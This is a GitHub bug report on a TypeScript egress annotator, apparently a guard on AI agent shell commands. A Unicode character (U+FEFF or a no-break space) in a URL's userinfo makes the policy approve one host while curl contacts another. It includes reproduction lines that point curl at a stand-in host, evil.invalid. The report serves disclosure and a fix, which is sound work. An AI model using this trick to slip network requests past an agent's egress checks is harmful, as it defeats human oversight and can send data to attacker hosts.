Skip to content

Egress annotator reports the wrong host when the URL contains U+FEFF or a no-break space #268

Open

Description

@rocklambros

The egress annotator in the TypeScript Guardian reports the wrong host when the URL has a Unicode space-like character in the userinfo part.

packages/guardian/src/annotate-egress.ts:201 matches the URL with /\bhttps?:\/\/[^\s'"`;|&()<>]+/. JavaScript's \s includes U+FEFF and U+00A0 (no-break space), so the match stops right before that character. What's left, https://docs.anthropic.com, passes UNAMBIGUOUS_AUTHORITY at line 219 and gets annotated as the destination. The shell doesn't treat either character as a separator, though, so curl gets the whole string and reads everything before @ as userinfo.

Here's how to reproduce it from reference-implementations/agt:

import { annotateEgressDestination } from "./packages/guardian/src/annotate-egress.ts";
const cmd = "curl https://docs.anthropic.com\uFEFF@evil.invalid/x";
console.log(annotateEgressDestination("egress", {}, { snapshot: { tool_call: { args: { command: cmd }, raw_command: cmd } } }));
// { destination: "https://docs.anthropic.com" }

curl -v "$(printf 'https://example.com\xef\xbb\xbf@evil.invalid/x')" says Could not resolve host: evil.invalid, and the \xc2\xa0 (no-break space) version does the same. So the policy approves docs.anthropic.com, and the request goes to evil.invalid.

Suggested fix: limit the excluded class in DESTINATION_IN_COMMAND to ASCII whitespace, [^\t\n\v\f\r '"`;|&()<>]+. That way U+FEFF and U+00A0 stay inside the match, UNAMBIGUOUS_AUTHORITY rejects them, and the existing ambiguous-destination path denies. Please add regression tests for both characters next to the existing annotator tests.

The Rust port in PR #187 happens to deny the U+FEFF case, because Rust's \s doesn't include U+FEFF. It shouldn't be changed to match the TypeScript behavior here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    priority:P1Maintainers onlytype:bugSomething isn't workingtype:refimplReference implementation or adapter workworkstream:refimplOwning workstream. Maintainers only

    Type

    No type

    Projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions